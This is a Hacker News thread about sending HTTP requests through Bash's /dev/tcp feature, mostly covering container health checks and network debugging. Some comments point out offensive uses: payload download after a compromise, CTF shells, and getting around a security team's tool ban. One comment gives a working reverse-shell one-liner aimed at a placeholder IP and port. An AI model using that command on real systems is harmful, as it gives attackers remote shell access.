9 ms·
TIL: You can make HTTP requests without curl using Bash /dev/TCP
- mrshu 3mo agoI ran into this while checking connectivity between containers on an internal Docker network where the image had neither curl nor wget. The main surprise was that Bash has /dev/tcp which lets you do the equivalent of an HTTP request with a bit of shell magic, for instance: exec 3<>/dev/tcp/service/8642 printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3 cat <&3 Where `service` is just the hostname of whatever you’re talking to and 8642 is the port you are trying to talk HTTP to. Pretty cool!
- sevenzero 3mo agoIt seems pretty cool, but I am wondering if there's any drawback on just using images that support curl? I can't think of any and to me it's kinda a must have, even on production images
- giobox 3mo agoIt's also a two line Dockerfile to add wget or curl to almost any pre-existing container image. This is a fun idea though.
- monkpit 3mo agoYou might not have any say on what image is in use, for example, in a cicd library project.
- deleted 3mo ago[deleted]
- mrshu 3mo agoThat is indeed a solid pushback! :) For what its worth, this container used `python:3.12.2-slim-bookworm` and I really would not expect that sort of an image to bundle `curl` -- even if it is intended for production.
- TZubiri 3mo agoYou can also use the sockets lib in that case, you depend on POSIX instead of Linux
- sevenzero 3mo agoAh I see so it was basically a minimal image that bundles just python? I can see why it wouldn't bundle curl! Thought it was a custom Image for some reason, hence my original comment
- mrshu 3mo agoYes, a very minimal image indeed. Had it been a custom image, curl would be one of the first things I would make sure it contains :)
- figmert 3mo agoThis of course only supports http, not https. It's great for health checks e.g. in a docker environment. To do https, you'd have to use something like socat, but of course that doesn't use bash only.
- TZubiri 3mo agoHttps is almost always terminated separately from the application code.
- OptionOfT 3mo agoI always recommend to not have any dependencies outside of the code. So we start at compiling the codebase (Rust) against MUSL. That way we can run it with FROM scratch images. If we need more tooling available at runtime, then we look at alpine, but still using MUSL. If MUSL itself is proving problematic, or if some of the libraries we use need glibc then we can look at using some locked down image. The cool part about FROM scratch images is that you'll never have to update your base image to address CVEs. Only your software and its (compiled) dependencies.
- xmodem 3mo ago> The cool part about FROM scratch images is that you'll never have to update your base image to address CVEs. Only your software and its (compiled) dependencies. What's the benefit really, though? If you still need to be able to rapidly deploy a new image in response to a dependency CVE, what have you gained?
- regularfry 3mo agoYou've gained that happening much less frequently. The tradeoff is making every other problem harder to diagnose.
- NewJazz 3mo agoDebug containers are a thing. Add an ephemeral container to an already running pod, for example to add debugging utilities without restarting the pod. https://kubernetes.io/docs/reference/kubectl/generated/kubectl_debug/ https://kubernetes.io/docs/reference/kubectl/generated/kubec...
- xmodem 3mo agoYup! They are a good solution to the massive problem you caused for yourself by implementing a different "solution" to a non-problem. And even that's only true if you assume kubernetes is the only place your container runs where you might want to also debug it.
- xmodem 3mo agoMore than one ~500 employee company I've worked at has had security policies either encouraging or requiring the use of "distro-less" images - images with no OS components other than the absolute minimum required to run the application. For go binaries this meant literally nothing in the container apart from the executable. In theory it has a couple of benefits. You don't have to re-deploy your image to patch CVE's in OS components if you don't have any OS components. And it provides some measure of defence-in-depth - one could certainly theory-craft a scenario where an attacker gains some limited control over your application and then uses some OS component to escalate. These days if a security engineer is proposing my team adopt distro-less containers to receive these benefits, I would point out that we need to weigh them against the very real drawbacks of not having standard debugging tools available where and when we need them. And also to consider the relative impact of other defence-in-depth measures they could be pursuing instead - such as any sort of network policy to limit network traffic.
- NewJazz 3mo agoDebug containers are a thing. Add an ephemeral container to an already running pod, for example to add debugging utilities without restarting the pod. https://kubernetes.io/docs/reference/kubectl/generated/kubectl_debug/ https://kubernetes.io/docs/reference/kubectl/generated/kubec...
- fc417fc802 3mo ago> not having standard debugging tools available where and when we need them Keeping in mind that containers are merely a bunch of namespaces, there's nothing stopping you from entering the same PID namespace with a different mount namespace in order to debug.
- xmodem 3mo agoI am aware, thank you :). I responded to a sibling dupe-comment over here [1]. To summarize, in my experience there is immense value to having basic shell tools available in the environment where you need them with zero extra friction. Stripping those out provides a security benefit only in specific nebulous and niche scenarios. 1: https://news.ycombinator.com/item?id=48561605 https://news.ycombinator.com/item?id=48561605
- a012 3mo agoIt’s handy when you’re troubleshooting issue on a running container which you can’t just rebuild the image and reload
- sc68cal 3mo agoThat's pretty neat, thanks for sharing
- AndrewStephens 3mo agoThis is pretty neat if all you need is to ping a local server but please use curl (or something equivalent) for contacting remote services. HTTP1.1 seems like such a simple protocol but in the real world you need to deal with proxies, different encodings, and redirects. Curl takes care of that (and a host of other annoying stuff) for you.
- mrshu 3mo agoTotally! I was really just trying to see if intra-container connectivity works, and this ended up being a very quick way of doing so. (The alternative being building and deploying a new image, which would likely take significantly longer.)
- KomoD 3mo ago> The alternative being building and deploying a new image, which would likely take significantly longer You said the image was Python, though? Using that is way easier and faster. https://news.ycombinator.com/item?id=48558763 https://news.ycombinator.com/item?id=48558763 If all you need to know is that it can connect: python3 -c 'import socket as s;s.create_connection(("8.8.8.8",53))' or http: python3 -c 'from urllib.request import*;print(urlopen("http://example.com").status http://example.com").status)'
- mrshu 3mo agoYou are right, I am not sure why I did not realize Python is the whole point of the image. This is indeed much faster and easier.
- EugeneV13 3mo ago[flagged]
- basilikum 3mo ago> As it turns out, bash can speak HTTP by itself. No, it can not. Bash lets you open TCP sockets. What you are doing here is trying to speak HTTP yourself, which is fine for testing and debugging, and hella cool for fun to do by hand, but you will shoot yourself in the foot if you try to use this pseudo http client unattended in reality. This toy code does not parse HTTP properly and will break. You could of course write a full http/1.1 client in bash, you can even do a full http server in pure bash: https://github.com/bahamas10/bash-web-server https://github.com/bahamas10/bash-web-server For less insane, non-bash shells there is always nc which is usually probably the wiser choice.
- mrshu 3mo ago> No, it can not. Bash lets you open TCP sockets. Very fair pushback -- I did get carried away and will update the article to be more precise. Thanks for raising it! > For less insane, non-bash shells there is always nc which is usually probably the wiser choice. For completeness, `nc` or any netcat equvialent I could think of was not available in the image I was trying this with. It would certainly be a better option though.
- bearjaws 3mo agoThis is the most Claude pilled comment I've seen here.
- thih9 3mo agoThis worries me. Some AI writing styles became mainstream; at first it was the em-dashes, now it’s “A, not B” patterns and excessive acknowledging. There will be more. Was grandparent comment written by an LLM? Or is this a human who copies a style they saw in a blog post, unaware that they’re copying an AI? Or is this a human who spent too much time talking to an AI and now they just talk like this? Or is this an organic human response and we’re all paranoid by now? I don’t know which would be worse.
- 8bitsout 3mo ago
- simonw 3mo agoNeat, works against example.com exec 3<>/dev/tcp/example.com/80 printf 'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' >&3 cat <&3 Outputs: HTTP/1.1 200 OK Date: Tue, 16 Jun 2026 17:37:45 GMT Content-Type: text/html ... I always end up on example.com for this kind of thing because there are so few domains these days that don't enforce https!
- QuantumNomad_ 3mo agoexample.com is also great for that reason when something fails about a captive portal on a public WiFi. I open my web browser and go to http://example.com http://example.com and get redirected to the captive portal page again and retry completing what they need from me to get internet access.
- some_random 3mo agoFun fact, this is almost exactly how active portal detection is done in the OS/browser! https://gist.github.com/skull-squadron/edb8c0122f902013304c031ebb01c1a1 https://gist.github.com/skull-squadron/edb8c0122f902013304c0...
- QuantumNomad_ 3mo agoYep :) I just find example.com easier to remember and quicker to type than any of the OS or browser makers own URLs like - http://captive.apple.com/ http://captive.apple.com/ - http://connectivitycheck.gstatic.com/generate_204 http://connectivitycheck.gstatic.com/generate_204 - http://detectportal.brave-http-only.com/ http://detectportal.brave-http-only.com/ Plus, it feels nice to depend on the reserved domain name example.com instead of relying on a domain that any one specific corporation has to maintain :D
- 1f60c 3mo agoAlso http://detectportal.firefox.com http://detectportal.firefox.com. And http://neverssl.com http://neverssl.com was set up for this purpose while being a bit easier to remember :)
- devsda 3mo agoYes, it used to be my goto few times when some devices tried to lockdown everything with bare minimum core utils and no network capable tools like curl etc.
- orthogonal_cube 3mo agoIt was fun exploring this to make a native-shell-only peer-to-peer file transfer utility at work for some automation scripts. At least, it was until trying to replicate it in Powershell was somehow triggering Crowdstrike and the corporate Cybersecurity team thought I was writing malware.
- geoctl 3mo agoI discovered this bash trick by chance when I was once trying to healthCheck the Envoy's official OCI image container which didn't include curl or wget while forcing the envoy admin interface to listen on localhost which breaks the traditional k8s httpGet checks.
- sam_lowry_ 3mo agoA few years ago I had to do this for a SpringBoot health check from a Docker container: FROM openjdk:11-jre-slim HEALTHCHECK --start-period=10s --timeout=3s --retries=5 \ CMD perl -e "use IO::Socket; $sock = IO::Socket::INET->new(Proto => 'tcp', PeerAddr => 'localhost', PeerPort => '8888') or die $@; $sock->autoflush(1); print $sock 'GET /actuator/health HTTP/1.1' . chr(0x0a) . chr(0x0d) . 'Host: localhost:8888' . chr(0x0a) . chr(0x0d) . 'Connection: close' . chr(0x0a) . chr(0x0d) . chr(0x0a) . chr(0x0d); while (my $line = $sock->getline ) { if ($line =~ /UP/) {exit;} }; close $sock; exit 1;"
- hn92726819 3mo agoNote that this is not what the article is about. Bash has a fake /dev/tcp path that opens sockets. What you have there is just perl opening a socket normally. Great solution, but the interesting bit is that fake path.
- alienbaby 3mo agoReminds me of telnetting to port 80 to make a get request years and years ago
- phantasmat 3mo ago[flagged]
- alienbaby 3mo agoReminds me of using telnet to port 80 to make get requests aeons ago
- Steeeve 3mo agobrb. recompiling bash in all my base images.
- dchest 3mo agoIt's interesting that most of the comments here are about using this feature to bypass security restrictions (whether valid or not). It says a lot about the attack surface of GNU utilities caused by featuritis.
- m3047 3mo agoAt least on my systems there's also /dev/udp...
- Retr0id 3mo agoIt's a fun trick, but I really don't like that bash does this. It's such an un-clean interface, and I'm not aware of any use cases beyond trying to exfiltrate data from a badly locked-down shell.
- saidinesh5 3mo agoFun story: A few years ago, I worked for a small company that customized off the shelf routers to enable businesses provide Wifi Hotspots. The routers were very basic model with very limited flash memory (~4MB?). I was brought in to build firmware for those routers. I ended up customising openwrt - removed all kinds of packages to make their packages fit on those routers. At the end, I had less than 4KB space, And I needed to implement a "heart beat" service. A lot of routers were behind firewalls that only allowed http, https and a couple of other protocols. Libcurl was too heavy. So I ended up writing a shell script that used this feature of bash to send out heart beats. Fun times...
- xenadu02 3mo agoAs a kid in the late 90s my mind was blown when I realized I could telnet to port 80, 25, or 110 and interact with the servers manually. Simple get: GET / HTTP/1.1 Content-Type: text/html User-Agent: l33t hax0rs lol X-Funny-Monkey: farts For sending a mail message on port 25: HELO mail-from: whoever@whatever.com mail-to: sysadmin@yaya.com <other headers> <blank line> Body of the message yay. <two blank lines to end> POP3 was so long ago I forgot but you could list the mailboxes then get individual messages and so on. This revelation was the beginning of "there is no magic" for me. The realization that every part of the computer was built by human beings and was at some level understandable if one undertook the effort. Perhaps most people in the future won't bother. They'll just let agents do it all. I'm sure that will leave some interesting holes in various systems for people willing to actually learn how they work without the filter of a model (or its safety rails).
- kps 3mo agoLast century I would read and send personal email from work using telnet to pop3 and smtp respectively.
- bijowo1676 3mo agoperhaps you meant "in previous millennium" ?
- chrisbrandow 3mo agoPresumably the years including 1999 and earlier
- __float 3mo agoIf someone referred to the "previous decade" in 2004, would you have said the same thing? As the calendar rolled from 1999 to 2000, we entered a new millennium, century, decade, year, day, ...
- 8n4vidtmkvmk 3mo ago
- washbasin 3mo agoThis is an old post-compromise trick used when an attacker needs to download a payload or make a network connection and curl, wget and nc are all not available.
- nesarkvechnep 3mo agoI find /dev/udp much more useful. I can create aliases for fire and forget commands to my daemons without actually writing *ctl program.
- ygouzerh 3mo agoHow are you doing that? I am intrigued!
- nesarkvechnep 3mo agoAh, sorry, it wasn't /dev/udp but socat - echo "hello" | socat - UNIX-SENDTO:/path/to/socket.
- ygouzerh 3mo agoThank you for the sharing!
- pgtan 3mo agoIt is a KornShell feature since ca. 1997 https://github.com/ksh93/ast-open-archive/blame/master/src/cmd/ksh93/sh.1 https://github.com/ksh93/ast-open-archive/blame/master/src/c...
- timwis 3mo agoYou could also use nsenter if curl is installed on the host, eg docker inspect -f '{{.State.Pid}}' container-name # let's imagine that outputs 814538 nsenter -t 814538 -n curl example.com
- chaps 3mo agoOnce had a coworker tell me to never to use this because "you never know when the customer doesn't have bash installed; use python instead" even though our contract required that the customer had bash. I'm still laughing at that.
- deleted 3mo ago[deleted]
- quotemstr 3mo agoFWIW, some distributions (I forget which ones, but I've seen it more than once) compile bash without the network features. Python is ubiquitous, and I've never seen it subsetted this way, so I'd have sided with the coworker.
- chaps 3mo agoEh, looking around, I think you're thinking of Debian. They re-enabled it by-default back in 2009. So, sure, I guess. But if you're dealing with an OS that's from 2009 these days, whether /dev/tcp is enabled in bash or not isn't exactly relevant anymore. And I've seen enough broken python installs (even with stdlib) to put my faith in /dev/tcp working in bash :)
- dennis16384 3mo agoThis is the kind of content we all deserved in 2026, and this is still why I ask during interviews to explain how cookies are represented in HTTP protocol.
- pickle-wizard 3mo agoAt a past job the security team wouldn't let us have netcat or curl on our systems. So I just used /dev/TCP to get around that. The ergonomics were not as nice as using netcat or curl, but it got the job done.
- black_knight 3mo agoWait until they hear about Plan 9!
- tzot 3mo agoI would use HTTP/1.0 without a need for Connection: close. Unless 1.0 is not generally supported anymore, but this is not the case in my experience.
- nedt 3mo agoI actually have a couple of Dockerfiles that are using exactly this in the HEALTHCHECK. Less packages to install.
- Sohcahtoa82 3mo agoThis was something I learned about 10 years ago when earning my OSCP, useful during penetration tests and CTFs when you get a low-priv shell that's running a minimal OS (No curl, nc, python, etc.) but running a web server listening on localhost. Using /dev/tcp was also handy in getting that initial low-priv shell.
- MisterTea 3mo agoTIL: bash and other shells try to copy Plan 9's /net directory and the kernel ip(3) file server. Too bad it's not a real file system. And a missed opportunity to call the root of the path /net.
- animanoir 3mo ago[dead]
- uberex 3mo agotelnet then?
- michaeltm 3mo ago[dead]
- mlhpdx 3mo agoFor the next level unlock try to make a HTTP/3 request over /dev/udp.
- johnea 3mo agoThis is a cool trick. I discovered it for myself some years ago, when I wanted to make simple network test scripts run without depending on curl or telnet, or other executables outside of bash.
- ddlsmurf 3mo agowhy bother with /dev, all you need is a battery, a couple of needles and some length of ethernet cable
- charles_f 3mo agodrop the battery and use either PoE or just AC
- tim-tday 3mo agoI love that under Linux your tcp stack is a file.
- p-e-w 3mo agoIt isn’t. This is a Bash feature. It doesn’t work from other programs.
- masa-kozu 3mo ago[flagged]
- dredmorbius 3mo agoNote that this didn't work historically on Debian, and presumably Debian-derived distros, where the virtual file TCP access was disabled by default. The position was reversed (and the capability enabled) in 2009, AFAIU. There's discussion and links in Bug #146464: <https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464#37 https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464#37> As others have mentioned, there are numerous other ways to directly access network features using shell tools, including curl (noted in TFA's title), wget, the HEAD and GET commands (from Perl), netcat (nc), socat, telnet, and I'm quite sure others.
- smoothgrammer 3mo agoThere is a whole talk on how to use it even for interactive sessions. https://youtu.be/hBcfrQ8y5Qg?is=Osjnhjrx7WgsHqVj https://youtu.be/hBcfrQ8y5Qg?is=Osjnhjrx7WgsHqVj
- okrad 3mo agoRemove ? and on from your url
- JSR_FDED 3mo agoFor a light-weight aliveness check or something like that this is perfectly fine approach. Just like parsing HTML with regexes can be fine too - for instance if you know the sender. Just like repeating code can be fine too, even though it violates DRY. Mixing markup and code can be fine (call it Locality of Behavior). But separating markup and code is fine too (Separation of Concerns). goto’s can be a lifesaver for deeply nested error conditions in C. The point is all these “you shouldn’t do this” comments are just generalities. Use your judgement, decide if the tradeoffs are right and make a deliberate choice.
- laserbeam 3mo ago> This is a bash feature, not POSIX. dash (Debian’s /bin/sh) and zsh don’t have it, so a #!/bin/sh script can’t use it. Call bash directly. This is why we can’t have nice things. This feature is complex and obscure enough that you are unlikely to be able to use it manually without consulting a reference, and poorly supported that any script you write with it is unportable. Bash is so powerful and so frustrating for this reason all the time :(
- HeadlessChild 3mo agoIt is nice for a basic port knocking as well. timeout 5s bash -c "echo >/dev/tcp/google.com/443" && echo "port open" || echo "port closed" This uses the timeout command from coreutils though, so it is not a pure bash implementation.
- ExoticPearTree 3mo agoThe 90s are calling. Its a bit funny when 30 years or so later people rediscover linux functionalities.
- sbseitz 3mo agoWelcome to the year 2000.
- gatestone 3mo agoIn Plan 9 you did have a real (synthetic) /net, and could do that and more from any program. You could even mount /net from another machine via 9P protocol and have an instant VPN... 9front lets you play with that on Linux. Some Plan 9 like /net things are visible in Go libraries... (Rob Pike legacy)
- equinoxnemesis 3mo ago> You could even mount /net from another machine via 9P protocol and have an instant VPN... This is awesome.
- yread 3mo agoOh man this would have saved me quite some time trying to include curl in my initramfs image with busybox that fires off a request to notify me to login via dropbear to put in the LUKS key. In the end the copy_exec script worked well though and i do have https
- high_byte 3mo agointeresting attack vector shame it's not a real device so the surface is limited to bash only I wonder what software might be vulnerable to this attack surface
- andrewshadura 3mo agoYou don't need Connection: close if you use HTTP/1.0.
- WesolyKubeczek 3mo agoThen TLS, HTTP/2, and HTTP/3 enter the chat, and now you can’t just send a request.
- varbhat 3mo agoThanks! I dislike this
- Coelacanthus 3mo ago> This is a bash feature, not POSIX. dash (Debian’s /bin/sh) and zsh don’t have it, so a #!/bin/sh script can’t use it. Call bash directly. Zsh has its own zsh/net/tcp and zsh/zftp modules. https://zsh.sourceforge.io/Doc/Release/TCP-Function-System.html https://zsh.sourceforge.io/Doc/Release/TCP-Function-System.h... https://zsh.sourceforge.io/Doc/Release/Zsh-Modules.html#The-zsh_002fnet_002ftcp-Module https://zsh.sourceforge.io/Doc/Release/Zsh-Modules.html#The-... https://zsh.sourceforge.io/Doc/Release/Zftp-Function-System.html https://zsh.sourceforge.io/Doc/Release/Zftp-Function-System....
- 1vuio0pswjnm7 3mo ago"This is not a real HTTP client." It's a TCP client curl is an HTTP client I prefer TCP clients to HTTP clients. Simpler, easier to modify, faster to compile There are many to choose from. For example, I use a modified version of tcploop For generating HTTP, I use own utilties. This is more flexible than curl. There are some things curl cannot do, even though it has too many options
- drzaiusx11 3mo agoReminds me of my teenage years when I'd echo spooky messages to other folks /dev/pttys to freak them out (messages i sent just magically appeared in their open terminals) Why they didn't lock those down by using different creds per client in the computer lab I still don't know. Maybe it was a VAX limitation (at the time)?
- stevefan1999 3mo agoYep. I also learned that too when watching Bauhinia team members' using this to solve a CTF challenge :p It is a multi-series CTF that you get shell from first a ROP chain to system, but you are effectively jailed from running anything but bash, so the only thing you can use is read and cat, and they used the cat /dev/tcp, then redirected it to a pseudo-tty, and read the content of the pseudo-tty in order to get the URL to the inner system. The flag, there it is.
- ang_cire 3mo agoAll my homies use bash -i >& /dev/tcp/IP/PORT 0>&1 to talk to their friends(' computers).
- oso2k 3mo agoMy favorite trick with this feature is pairing it a timeout # Connection successful: $ timeout 1 bash -c 'cat < /dev/null > /dev/tcp/google.com/80' $ echo $? 0